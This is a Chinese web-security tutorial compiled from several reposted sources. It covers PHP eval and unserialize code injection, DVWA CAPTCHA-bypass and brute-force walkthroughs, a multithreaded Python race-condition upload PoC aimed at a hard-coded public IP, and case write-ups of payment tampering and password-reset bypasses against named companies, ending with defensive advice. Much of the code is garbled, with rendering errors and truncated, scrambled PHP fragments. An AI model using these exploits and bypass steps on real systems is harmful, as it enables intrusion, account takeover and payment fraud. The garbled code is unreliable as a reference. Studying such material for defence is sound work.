复制代码
array( //这个是字符串形式的数组,它并不是数组,而是字符串
‘upload_maxsize’ => ‘2048’,
‘upload_allowext’ => ‘jpg|jpeg|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf’,
‘watermark_enable’ => ‘1’,
‘watermark_minwidth’ => ‘300’,
‘watermark_minheight’ => ‘300’,
‘watermark_img’ => ‘/statics/images/water/mark.png’,
‘watermark_pct’ => ‘85’,
‘watermark_quality’ => ‘80’,
‘watermark_pos’ => ‘9’,
)
function string2array(KaTeX parse error: Expected '}', got 'EOF' at end of input: … //这个函数可以将字符串data转化为数组
if($data == ‘’)
return array();
@eval("$array = $data;");
return $array;
}
复制代码
漏洞危害
执行代码
让网站写shell
甚至控制服务器
漏洞分类(也是利用点)
执行代码的函数:eval、assert
callback函数:preg_replace + /e模式
反序列化:unserialize()(反序列化函数)
搭建环境实验
示例一
示例二
示例三
示例四
示例五
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
/e修正符使preg_replace()将replacement参数当作PHP 代码(在适当的逆向引用替换完之后)
复制代码
复制代码
具体操作
复制代码
复制代码
file,$this->data); } } $d = $_REQUEST['str']; var_dump($d); echo "复制代码
客户端可构造如下代码生成序列化后的字符串提交给服务端,
服务端就会生成文件xx.php,内容为:
复制代码
file, $this->data); } } $f = new foo(); $f->file = "xx.php"; $f->data = "";echo base64_encode(serialize($f));
3. 不安全的验证码
Insecure CAPTCHA
Insecure CAPTCHA,意思是不安全的验证码,CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称。但个人觉得,这一模块的内容叫做不安全的验证流程更妥当些,因为这块主要是验证流程出现了逻辑漏洞,谷歌的验证码表示不背这个锅。
1.png
reCAPTCHA验证流程
这一模块的验证码使用的是Google提供reCAPTCHA服务,下图是验证的具体流程。
1.png
服务器通过调用recaptcha_check_answer函数检查用户输入的正确性。
recaptcha_check_answer( p r i v k e y , privkey, privkey,remoteip, c h a l l e n g e , challenge, challenge,response)
参数 p r i v k e y 是 服 务 器 申 请 的 p r i v a t e k e y , privkey是服务器申请的private key , privkey是服务器申请的privatekey,remoteip是用户的ip, c h a l l e n g e 是 r e c a p t c h a c h a l l e n g e f i e l d 字 段 的 值 , 来 自 前 端 页 面 , challenge 是recaptcha_challenge_field 字段的值,来自前端页面 , challenge是recaptchachallengefield字段的值,来自前端页面,response是 recaptcha_response_field 字段的值。函数返回ReCaptchaResponse class的实例,ReCaptchaResponse 类有2个属性 :
$is_valid是布尔型的,表示校验是否有效,
$error是返回的错误代码。
(ps:有人也许会问,那这个模块的实验是不是需要科学上网呢?答案是不用,因为我们可以绕过验证码)
下面对四种级别的代码进行分析。
Low
服务器端核心代码:
复制代码
is_valid ) { // What happens when the CAPTCHA was entered incorrectly $html .= ""; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user echo "
The CAPTCHA was incorrect. Please try again.
"; } else { // Both new passwords do not match. $html .= "
You passed the CAPTCHA! Click the button to confirm your changes.
Both passwords must match."; $hide_form = false; } } } if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysql_query( $insert ) or die( '
' . mysql_error() . '' ); // Feedback for the end user echo "
Password Changed."; } else { // Issue with the passwords matching echo "
Passwords did not match."; $hide_form = false; } mysql_close(); } ?>
复制代码
可以看到,服务器将改密操作分成了两步,第一步检查用户输入的验证码,验证通过后,服务器返回表单,第二步客户端提交post请求,服务器完成更改密码的操作。但是,这其中存在明显的逻辑漏洞,服务器仅仅通过检查Change、step 参数来判断用户是否已经输入了正确的验证码。
漏洞利用
1.通过构造参数绕过验证过程的第一步
首先输入密码,点击Change按钮,抓包:
1.png
(ps:因为没有FQ,所以没能成功显示验证码,发送的请求包中也就没有recaptcha_challenge_field、recaptcha_response_field两个参数)
更改step参数绕过验证码:
1.png
修改密码成功:
1.png
2.由于没有任何的防CSRF机制,我们可以轻易地构造攻击页面,页面代码如下(详见CSRF模块的教程)。
复制代码
复制代码
当受害者访问这个页面时,攻击脚本会伪造改密请求发送给服务器。
1.png
美中不足的是,受害者会看到更改密码成功的界面(这是因为修改密码成功后,服务器会返回302,实现自动跳转),从而意识到自己遭到了攻击。
1.png
Medium
服务器端核心代码:
复制代码
is_valid ) { // What happens when the CAPTCHA was entered incorrectly $html .= ""; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user echo "
The CAPTCHA was incorrect. Please try again.
"; } else { // Both new passwords do not match. $html .= "
You passed the CAPTCHA! Click the button to confirm your changes.
Both passwords must match."; $hide_form = false; } } } if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if they did stage 1 if( !$_POST[ 'passed_captcha' ] ) { $html .= "
"; $hide_form = false; return; } // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysql_query( $insert ) or die( '
You have not passed the CAPTCHA.
' . mysql_error() . '' ); // Feedback for the end user echo "
Password Changed."; } else { // Issue with the passwords matching echo "
Passwords did not match."; $hide_form = false; } mysql_close(); } ?>
复制代码
可以看到,Medium级别的代码在第二步验证时,参加了对参数passed_captcha的检查,如果参数值为true,则认为用户已经通过了验证码检查,然而用户依然可以通过伪造参数绕过验证,本质上来说,这与Low级别的验证没有任何区别。
漏洞利用
1.可以通过抓包,更改step参数,增加passed_captcha参数,绕过验证码。
抓到的包:
1.png
更改之后的包:
1.png
更改密码成功:
1.png
2.依然可以实施CSRF攻击,攻击页面代码如下。
复制代码
当受害者访问这个页面时,攻击脚本会伪造改密请求发送给服务器。
1.png
不过依然会跳转到更改密码成功的界面。
1.png
High
服务器端核心代码:
复制代码
is_valid && ( $_POST[ 'recaptcha_response_field' ] != 'hidd3n_valu3' || $_SERVER[ 'HTTP_USER_AGENT' ] != 'reCAPTCHA' ) ) { // What happens when the CAPTCHA was entered incorrectly $html .= ""; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;"; $result = mysql_query( $insert ) or die( '
The CAPTCHA was incorrect. Please try again.
' . mysql_error() . '' ); // Feedback for user echo "
Password Changed."; } else { // Ops. Password mismatch $html .= "
Both passwords must match."; $hide_form = false; } } mysql_close(); } // Generate Anti-CSRF token generateSessionToken(); ?>
复制代码
可以看到,服务器的验证逻辑是当$resp(这里是指谷歌返回的验证结果)是false,并且参数recaptcha_response_field不等于hidd3n_valu3(或者http包头的User-Agent参数不等于reCAPTCHA)时,就认为验证码输入错误,反之则认为已经通过了验证码的检查。
漏洞利用
搞清楚了验证逻辑,剩下就是伪造绕过了,由于$resp参数我们无法控制,所以重心放在参数recaptcha_response_field、User-Agent上。
第一步依旧是抓包:
1.png
更改参数recaptcha_response_field以及http包头的User-Agent:
1.png
密码修改成功:
1.png
Impossible
服务器端核心代码
复制代码
if( isset( $_POST[ ‘Change’ ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ ‘user_token’ ], $_SESSION[ ‘session_token’ ], ‘index.php’ );
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_new = stripslashes( $pass_new );
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
$pass_conf = $_POST[ 'password_conf' ];
$pass_conf = stripslashes( $pass_conf );
$pass_conf = mysql_real_escape_string( $pass_conf );
$pass_conf = md5( $pass_conf );
$pass_curr = $_POST[ 'password_current' ];
$pass_curr = stripslashes( $pass_curr );
$pass_curr = mysql_real_escape_string( $pass_curr );
$pass_curr = md5( $pass_curr );
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
$_SERVER[ 'REMOTE_ADDR' ],
$_POST[ 'recaptcha_challenge_field' ],
$_POST[ 'recaptcha_response_field' ] );
// Did the CAPTCHA fail?
if( !$resp->is_valid ) {
// What happens when the CAPTCHA was entered incorrectly
echo "
The CAPTCHA was incorrect. Please try again.
";
$hide_form = false;
return;
}
else {
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new password match and was the current password correct?
if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
// Update the database
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the end user - success!
echo "Password Changed.
";
}
else {
// Feedback for the end user - failed!
echo "Either your current password is incorrect or the new passwords did not match.
Please try again.
";
$hide_form = false;
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
复制代码
可以看到,Impossible级别的代码增加了Anti-CSRF token 机制防御CSRF攻击,利用PDO技术防护sql注入,验证过程终于不再分成两部分了,验证码无法绕过,同时要求用户输入之前的密码,进一步加强了身份认证。
1.png
转载自:http://www.freebuf.com/articles/web/119692.html
4. DVWA亲测暴力破解
LOW等级
我们先用burpsuite抓包,因为burpsuite提供了暴力破解模块
我们先创建一个1.txt文件夹,把正确的账号密码写进去
我们输入 Username:1 Password:1 进行抓包,然后发送到intruder(攻击)模块
Sniper标签这个是我们最常用的,Sniper是狙击手的意思。这个模式会使用单一的payload【就是导入字典的payload】组。它会针对每个position中$$位置设置payload。这种攻击类型适合对常见漏洞中的请求参数单独地进行测试。攻击中的请求总数应该是position数量和payload数量的乘积。
Battering ram – 这一模式是使用单一的payload组。它会重复payload并且一次把所有相同的payload放入指定的位置中。这种攻击适合那种需要在请求中把相同的输入放到多个位置的情况。请求的总数是payload组中payload的总数。简单说就是一个playload字典同时应用到多个position中
Pitchfork – 这一模式是使用多个payload组。对于定义的位置可以使用不同的payload组。攻击会同步迭代所有的payload组,把payload放入每个定义的位置中。比如:position中A处有a字典,B处有b字典,则a【1】将会对应b【1】进行attack处理,这种攻击类型非常适合那种不同位置中需要插入不同但相关的输入的情况。请求的数量应该是最小的payload组中的payload数量
Cluster bomb – 这种模式会使用多个payload组。每个定义的位置中有不同的payload组。攻击会迭代每个payload组,每种payload组合都会被测试一遍。比如:position中A处有a字典,B处有b字典,则两个字典将会循环搭配组合进行attack处理这种攻击适用于那种位置中需要不同且不相关或者未知的输入的攻击。攻击请求的总数是各payload组中payload数量的乘积。
果然爆出了正确的账号跟密码
同样,我们也可以用python进行暴力破解:
Medium等级
经验证发现用LOW等级的方法依然可以进行暴力破解,但是明显可以感觉用的时间比LOW等级长
我们能来看一下源代码:
复制代码
Welcome to the password protected area {$user}
"; echo " "; } else { // Login failed sleep( 2 ); echo ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Username and/or password incorrect.
复制代码
中间有个sleep(2)的php函数,即是如果账号或者密码错误,程序停止运行两秒,导致medium等级的爆破所用时间更长
High等级
我们先来抓包看一下,输入username:1 password:1 ,抓到的包如图:
多了一个user_token的验证
我们来看一下源代码:
复制代码
Welcome to the password protected area {$user}
"; echo " "; } else { // Login failed sleep( rand( 0, 3 ) ); echo ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
Username and/or password incorrect.
复制代码
这里利用burp来爆破带有规律性的token验证:
1.抓包,选择Pitchfork(草叉模式),添加爆破的参数
2.在Options中找到Request Engine模块,把线程数设为1
3.在Options中找到Rediections模块,选择always,允许重定向
4.在Options中找到Grep-Extract模块,点击Add,并设置筛选条件,得到user_token。
5.在Payloads中为选择的参数设置字典
6.开始爆破
根据返回长度的大小,可以得到正确的用户密码
除了burpsuite爆破,也可以通过python脚本实现,鄙人较菜,代码不好看,但是经实验可以运行:
代码执行结果:
impossible等级
impossible几乎是不可能注入,我们来看一下代码
复制代码
"; // Calculate when the user would be allowed to login again $last_login = strtotime( $row[ 'last_login' ] ); $timeout = $last_login + ($lockout_time * 60); $timenow = time(); /* print "The last login was: " . date ("h:i:s", $last_login) . "
This account has been locked due to too many incorrect logins.
Welcome to the password protected area {$user}
"; echo " "; // Had the account been locked out since last login? if( $failed_login >= $total_failed_login ) { echo "Warning: Someone might of been brute forcing your account.
"; echo "Number of login attempts: {$failed_login}.
Last login attempt was at: ${last_login}.
"; // Update bad login count $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } // Set the last login time $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?>
Username and/or password incorrect.
Alternative, the account has been locked because of too many failed logins.
If this is the case, please try again in {$lockout_time} minutes.
复制代码
我们尝试输入错误的用户名跟密码:
发现再次尝试要等到15分钟后,果然是impossible等级,限制了暴力破解,多次尝试输入
所以说要防止暴力破解:
先尝试正确的密码找回流程,记录不同找回方式的所有数据包
分析数据包,找到有效数据部分
推测数据构造方法
构造数据包验证猜测
2、 分类
$filename = $_FILES['myfile']['name'];
if (is_uploaded_file($_FILES['myfile']['tmp_name'])){
if (!move_uploaded_file($_FILES['myfile']['tmp_name'],$path.$filename)){
die("error:can not move!");
}
} else {
die("error:not an upload file!");
}
echo "file upload success.file path is: ".$path.$newfile."\n
";
if ($_FILES['myfile']['error']>0){
unlink($path.$newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['myfile']['name']));
if (!in_array($ext,$allowtype)){
unlink($path.$newfile);
die("error:upload the file type is not allowed,delete the file!");
}
?>
复制代码
简单poc如下:
复制代码
#!/usr/bin/env python
#-- coding:utf-8 --
import requests
import threading
import time
“”"
200个线程上传文件aa.php,同时200个线程同时请求aa.php,aa.php中内容为
只要aa.php被请求成功就会生成内容为的php文件info.php
“”"
is_exit = False
def create_info():
global is_exit
while not is_exit:
url = “http://123.206.78.20/u/aa.php”
resp = requests.get(url)
def put_file():
global is_exit
file = {‘myfile’‘aa.php’,open(‘C:/Users/Administrator/Desktop/aa.php’),‘application/octet-stream’)}
upload_url = “http://123.206.78.20/u.php”
while not is_exit:
requests.post(upload_url,files=file)
def check_info():
global is_exit
print “start threading check info.php:”
url = “http://123.206.78.20/u/info.php”
while True:
print “check info.php…”
resp = requests.get(url)
if resp.status_code == 200:
is_exit = True
print “create file info.php success.”
break
for x in xrange(1,200):
t = threading.Thread(target=create_info)
t.setDaemon(True)
t.start()
print “start create_into threading %d” % x
for x in xrange(1,200):
t = threading.Thread(target=put_file)
t.setDaemon(True)
t.start()
print “start put_file threading %d” % x
t = threading.Thread(target=check_info)
t.setDaemon(True)
t.start()
try:
while t.isAlive():
pass
time.sleep(1)
except KeyboardInterrupt:
print ‘stopped by keyboard’
复制代码
数据库操作
在数据库进行update、delete等操作时使用多线程请求,可在一次
update时间内完成多次update,和上面的文件上传其实是一个原理
支付漏洞
复制代码
攻击者通过修改交易金额、交易数量等从而利用漏洞,
如Burp修改交易金额、使交易数量为负数或无限大等。
0x01 漏洞挖掘
01 注册
注册中最常见的有两个,一个是恶意注册,另一个是账户遍历。一个好的注册界面应该是这样
或者这样的
而不是这样的
要么使用短信或邮箱进行验证,要么存在难以识别的验证码,使得注册的请求无法批量提交。那么账户遍历是什么意思呢?在注册的时候Web程序往往会有用户名或手机号(或其他什么)检测之类的步骤,以避免相同账号注册两次,比如一般会提示“***用户名已存在!”。我们就可以利用这个步骤去批量尝试一些用户名,如果提示已存在就说明存在这个用户,然后就可以用这个用户名进行下一步操作,比如登录爆破(直接爆破的话可能会提示“用户名或密码错误”,用已知用户名爆破就只需要关心密码问题了)和密码找回。
02 登录
登录里比较简单的一种的情况就是登录界面不存在验证码可以直接爆破,第二种就是存在验证码但可被绕过,第三种是第三方账户登录可被绕过,这里重点说第二和第三种的问题。
1、短信验证码
这种情况一般指4位数字验证码,且不限制错误次数。比如以某APP为例,短信登录界面如下
获取验证码后随意填写,抓包
然后在intruder里爆破
再用获得的验证码登录即可。
2、图形验证码
以ESPCMS V6的一个漏洞为例,在会员和后台登陆的地方对验证码识别的方式是可以绕过的,在文件/upload/interface/member.php 500行左右的位置是后台登陆检验验证码的地方:
看一下他检测验证码的方式,将输入的验证码与cookie中的值比较,这意味着什么?只要我们不改变cookie中的值以及输入的验证码的值,那么就可以绕过验证码识别。也就是说验证码是和cookie绑定的,如图所示只要刷新一下改变验证码下面的这条cookie就跟着变化。只要不改变这两个值就能使用一个验证码持续登陆,这样就能爆破了。
如果爆破的话还要解决另外一个问题,每个登陆界面只能请求一次,因为还有一个隐藏的token参数
这样的话就要每尝试一次动态获取这个token值,其中token中的值是和返回的PHPSESSID绑定的,所以这里同步获取PHPSESSID和token然后进行爆破。例如在burp中只需要更新post数据中tokenkey的值即可再次发包,但是并不会触发验证码错误。
漏洞利用程序如下:
爆破测试
3、第三方账户登录绕过
现在很多网站或APP都支持第三方账号登录,比如微信、微博,这些登录本身接口一般没什么问题,但是在使用的时候可能会出现逻辑错误,以知乎曾经爆出的一个漏洞为例,打开知乎客户端,用一个微博小号登录,拦截微博授权成功的请求地址:https://api.weibo.com/oauth2/sso_authorize?sflag=1,修改Response Body,将uid改成要登录的uid:
然后即可登录
知乎服务器端在拿到客户端提交的授权成功以后,还应该调用第3方平台的token校验,以微博为例子,应该再调用一次:https://api.weibo.com/2/account/get_uid.json,看拿到的uid是否和客户端提交的uid一致。另外登录位置也存在账号遍历的情况,比如有的登录逻辑是先判断是否存在这个用户名然后给予提示“用户名不存在”或不提示。
02 密码找回
密码找回的利用姿势比较多,还是先说验证码的问题。除了上节所说的4位验证码的可爆破的问题,还有验证码泄露、认证绕过、越权等问题。
1、验证码泄露
仍然以某APP为例
输入验证码、要找回的账号和手机号,点击“获取验证码”,同时拦截抓包,然后就可以在返回包中看到要认证的验证码,这样不用得到用户的手机,也能得到他的验证码
再输入密码即可找回。
2、验证码的认证绕过
以某网站为例,在密码找回界面,输入用户名和密码,点击获取验证码
验证码随便输,然后点击下一步,拦截返回包,
将status改为0,然后就可以进入密码修改界面
另外也存在替换手机号的情况,及将验证码发送到你替换的手机上,而找回的密码还是原来的账号。
2、邮箱弱token
有时候密码找回是通过邮箱链接来实现的,链接里一般会有一个与账号绑定的具有唯一性的认证参数,若这个参数能够被猜解就会产生问题,以一个奇虎360出现过的一个漏洞为例,先正常流程取回一次密码,查看邮箱,邮件内容类似:
猜测一下此处的流程,用户取回密码时,产生一个精确的时间戳,与帐号绑定,记录在某个密码重置库内,那么修改这个用户密码必须得知道这个时间戳才可以,看似合理,但程序员忽略了一个细节,就是假如这个时间戳是新生成得,在一定时间段内进行暴力猜解,很快就可以获取到这个有效得链接!以某账号为例,输入其邮箱找回密码,然后同时爆破找回密码的链接,点击访问
用修改的密码即可登录
4、越权修改
越权修改是指在密码找回的过程中将正在找回密码的账号替换为指定的账号并修改密码,以某邮箱系统的一个漏洞为例,使用手机找回的方法来验证
设置密码
提交的时候抓包,将userName改为想要修改的账户
在下一次的请求中再修改一次
然后使用修改的密码即可登录
03 越权
越权一般包括水平越权和垂直越权。
1、水平越权
水平越权:就是相同级别(权限)的用户或者同一角色不同的用户之间,可以越权访问、修改或者删除的非法操作。如果出现次漏洞,那么将可能会造成大批量数据泄露,严重的甚至会造成用户信息被恶意篡改。以某APP为例,在点击账户信息按钮时会返回当前账户的基本信息,如下是请求的数据包
返回的包为
如果直接修改Id,改为0001001238,那么注意看返回包
这里就是没有任何的身份认证,仅根据Id返回相应的数据,导致可以水平越权,查看他人的账户信息。再看另一个例子,以某网站为例,登录进入个人主页界面
在Firefox中修改uid的值即可进入他人账号
2、垂直越权
垂直越权:是不同级别之间或不同角色之间的越权;垂直越权又别分为向上越权与向下越权。比如,某些网站,像发布文章、删除文章等操作属于管理员该做的事情。假设一个匿名用户也可以做相同的事情,这就叫做向上越权;向下越权是一个高级用户可以访问低级用户信息(这也是不行的,这回暴漏用户的隐私)。以ZDSoft网站生成系统越权漏洞为例,比较老的一个洞,网站后台登录地址一般为:http://www.***.cn/admin/login.aspx
后台菜单地址为:
http://www.***.cn/admin/left.aspx
如果没有登录直接访问菜单地址js跳转到登录地址,但是禁用了浏览器js后就可以直接访问而不会跳转,比如访问用户管理界面
再以某APP为例,APP有两种登录模式,用户(指定人员)登录和游客登录。对于游客来说很多功能不能访问,只能看到如下功能
指定用户登录,可以使用所有功能
但是APP只是做了前端限制,以游客权限直接发送用户权限的数据包即可使用相关的功能,比如以游客的登录凭据访问用户才可使用的“**查询”功能。
3、两种越权的区别
水平越权的问题出现在同一个角色上,系统只验证了能访问数据的角色,而没有对角色内的用户做细分,也没有对数据的子集做细分,因为缺乏一个用户到数据之间的对应关系。由于水平权限管理是系统缺乏一个数据级的访问控制所造成的,因此水平权限管理又可称之为“基于数据的访问控制”;垂直权限问题出现在不同角色上,一般来说高权限角色可以访问低权限角色的资源,而低权限角色访问高权限角色的资源则被禁止。如果一个本属于低权限角色的用户通过一些方法能够过得低权限角色的能力,则发生了垂直越权漏洞。
04 交易
这里的情况一般就是订单可被恶意修改,比如修改购买数量和单价以形成超低价的总额,以中国移动出现过的一个漏洞为例,中国移动和健康体检通,可通过修改订单价格实现免费体检,首先选择套餐
然后抓包修改数据
然后即可支付
另外一个套餐
付款成功
可以看到套餐已订购
0x02 防御
01 验证码策略
1、验证码至少是6位数字,且有时间限制、获取次数限制和错误次数限制。
2、验证码的验证要放到服务端执行,不能将验证码返回到前端。
3、若只能放到前端,必须采取加密策略。
4、多步校验,比如找回密码第一步验证了,最后一步提交时也要验证。
02 权限策略
1、登录凭证要时刻验证,不能只在登录接口处进行登录验证,要任何需要登录权限的地方进行登录验证(cookie,ssid,token等)。
2、用户操作要进行对应的权限检查,不能只根据操作参数或链接执行功能。
3、Cookie要进行严格加密,并与用户session绑定。
4、采用“最小权限原则”进行访问控制。
03 密匙签名策略
1、邮箱找回密码的功能,其认证参数要唯一且不可预测,尽量减少不必要的参数。
2、支付功能一定要使用严格的签名算法,避免任何参数的修改。
3. 逻辑漏洞之支付漏洞
支付漏洞
乌云案例之顺丰宝业务逻辑漏洞
案例说明
顺丰宝存在支付逻辑漏洞,可以允许用户1元变1亿元。这个漏洞在其他网站很难存在,原因是页面交互都使用了对字段做签名。但是顺丰宝没做签名,导致支付金额可以被修改为任意数值。猜测成因是开发人员为了快速实现功能,而忽略了其中数据签名的步骤。可以想象,如果我充值1个亿,然后再使用取款功能,会产生神马效果。
利用过程
1 登录顺风宝查看余额
2 充值,选择招商银行。填写充值金额1,如下图:
提交之后如下:
3 开启firefox的tamper,点击支付,截取数据包,修改参数Amount为一分
4 提交跳转到招行支付
5 支付成功后,招行扣去一分
6 查询余额
乌云案例之乐视商城逻辑支付漏洞
案例说明
订单的价格在支付链接中出现,导致用户可以修改任意金额购买产品
利用过程
1 下单后选择支付,如图:
2 注意下面的连接,orderPrice参数为商品总额
3 将价格改成0.1
乌云案例之读览天下支付逻辑漏洞
案例说明
通过替换支付订单号的方式,来完成花小钱买大东西。同时生成两个订单号,一个贵的一个便宜,首先支付便宜的,银行往回返回的时候,替换订单号,然后就可以完成两个订单的同时支付。
漏洞成因
服务端只检查支付是否完成,并没有确认订单金额与银行支付金额是否相同,过分信任客户端提交的数据
修复方案
检查支付完成后价格和买的产品的价格是一样的。
乌云案例之天翼云盘通支付逻辑漏洞
案例说明
天翼云-云盘通设计缺陷,可提交负人民币的订单。
利用过程
1 选择套餐如图:
2 提交订单然后我们抓包,将购买年限改成负数
3 提交数据包后如图:
乌云案例之药房网订单提交逻辑漏洞
案例说明
药房网订单提交存在逻辑漏洞可对企业造成经济损失
利用过程
1 生成订单
2 使用Burp截断数据包,修改运费为一元
3 提交数据包
乌云案例之淘美网绕过支付
案例说明
淘美网重置处存在逻辑漏洞,可绕过支付直接充值成功
经过测试发现支付成功后流程走至如下链接:
http://www.3need.com/index.php?controller=site&action=payok&out_trade_no=充值订单号
只要提供对应的充值订单号 就可以绕过支付直接充值成功。
利用过程
1 新注册个账号进行测试
2 账号余额0
3 我们去充值,这个过程用burpsuite抓包,金额随意写
4 抓到支付订单号然后构造链接:
5 直接访问这个链接
6 接下来美女信息随意看了,不够再充
乌云大神的修复方案
1 和银行交易时,做数据签名,对用户金额和订单签名。
2 敏感参数不要明文放在URL中
3 服务端效验客户端提交的参数
4 在服务端计算金额的时候,一定要判断是否为正数。
5 支付过程中加一个服务器生成的key,用户校验参数有没有被串改。
6 如果一定需要用URL传递相关参数,建议进行后端的签名验证
7 订单金额和充值接口返回的数据进行校验
8 提交订单时后台判断单价是否与数据库中相符,如不符则返回错误。
9 支付时应从服务器拉取数据,而不是直接读客户端的值!!
4. 逻辑漏洞之越权访问
越权访问简介
一般越权访问包含未授权访问、平行越权、垂直越权。
未授权访问:就是在没有任何授权的情况下对需要认证的资源进行访问以及增删改查。
垂直越权:通过低权限向高权限跨越形成垂直越权访问。
平行越权,顾名思义就是同等用户权限之下,不用进入其他用户的账户也可以对别的用户资料或者订单等信息进行增删改查操作的目的。
下面我们来看一些案例(以下多图,流量党慎入)
哈哈哈哈哈哈,以上转载自微信公众号—信安之路。
5. 逻辑漏洞之密码重置
密码找回验证条件可社工
1 只验证帐号是否存在即可修改密码
2 只验证帐号与邮箱地址是否匹配即可修改密码
3 只验证帐号与手机号是否匹配即可修改密码
密码修改页面可预测
案例介绍: 问题出现在忘记密码处,可以通过手机找回和邮箱找回密码两种方式获得指定帐户的新密码设置权限
进入忘记密码,填写想要获取权限帐号的ID
选择邮箱找回
获得url:
系统已将新密码设置url发送给邮箱
此时只需要将前面获取的url修改一下
即可获得设置该用户新密码的权限
验证码可爆破
案例介绍
乐峰网用户认证体系存在逻辑漏洞,可修改任意用户密码
1 找回密码部分:两种方式,mail和phone,但是验证码都是6位数字,(邮箱)是24小时有效。可以暴力
2 使用后的验证码并未销毁,24小时内可以再次使用,这里就很危险了,只要你找回了密码,24小时内,还可以被修改
攻击方式:
1 提交任意用户的修改密码请求,暴力破解验证码(6位数字,24小时内有效),成功率很客观
2 枚举24小时之内修改过密码的用户,如图:
修改密码未校验用户
案例介绍
万网某管理系统密码找回结构控制不严格,导致可修改此管理系统任意账户密码。
自己新买一个域名要做备案,可惜申请时密码忘记了,故找回密码,收到找回邮件链接如下:
按照提示修改自己密码成功。。
职业病原因,顺手将url中邮箱地址替换成[email protected]修改,悲剧,修改成功。。。
如图:
也就是说,只要知道确实存在的账户,即可直接修改该帐号密码。
密码重置验证码接收帐号由客户端决定
案例介绍
任意用户密码重置(遍历可批量操作)
重置用户资金密码,修改成自己邮箱
重置资金密码成功
修改返回包绕过验证码找回密码
案例介绍
P2P金融安全之珠宝贷存在找回密码/关键凭证修改逻辑漏洞
提交修改密码申请,填写手机号,图片验证码以及登录密码如图:
用burp截包,点击提交:
返回包如图:
修改返回包如图:
绕过验证出现修改密码界面:
重置密码新密码出现在返回的数据包中
案例介绍
沃的城市生活IOS逻辑漏洞可重置登录任意号码
1 点击重置密码
2 重置后的新密码返回在数据回包中
密码重置验证码出现在返回数据包中
案例介绍
中粮集团中粮悦生活app(在苹果appstore下载的,安卓未测试)在修改密码时存在逻辑漏洞,可直接通过服务器返回的数据包获取验证码,从而注册任意手机号码和修改任意用户的密码。
1 填写电话号码
2 设置代理,抓包,点击获取验证码,查看数据包
3 填写验证码,成功修改密码
密码重置验证码多人公用
案例说明
天天果园账户逻辑漏洞,自己的验证码修改别人的密码
1 登录网站点击 找回密码 输入自己的帐号,点击下一步。
2 在同一网页标签打开另一网页,找回密码,输入目标帐号,点击下一步。
3 自己的帐号页面点击获取验证码。
4 将自己收到的验证码输入目标帐号验证码处,点击下一步。
5 完成,密码重置。
修复方案
1 减少验证码有效时间
2 使用后即销毁
3 增加验证码复杂程序,整个md5 不困难吧,
4 限制该功能单个ip提交频率
5 对重要参数加入验证码同步信息或时间戳;
6 重置密码后,新密码不应返回在数据包中。
7 接收验证码的帐号由服务端提供,不能信任客户端提交的数据